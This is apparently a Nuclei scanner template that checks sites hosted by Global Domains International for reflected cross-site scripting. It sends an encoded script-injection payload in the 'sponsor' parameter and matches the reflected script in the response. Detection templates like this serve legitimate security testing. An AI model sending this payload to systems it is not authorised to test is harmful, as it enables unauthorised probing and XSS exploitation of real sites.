id: global-domains-xss

info:
  name: Global Domains International - Cross-Site Scripting
  author: princechaddha
  severity: high
  description: |
    Sites hosted by Global Domains International, Inc. have cross-site scripting and directory traversal vulnerabilities.
  reference:
    - https://cxsecurity.com/issue/WLB-2018020247
    - https://packetstormsecurity.com/files/126545/Global-Domains-International-Cross-Site-Scripting-Traversal.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: globaldomains,xss,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.dhtml?sponsor=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402206814cd71a232edf915ae95e0333b2d6adc71e9dbf3aadb38bdc2687fc0a7b0bd02204b8f7fe814763b369cfeebe62aff001e2912e3c080bd01fc2de77bc25e2868ca:922c64590222798bb761d5b6d8e72950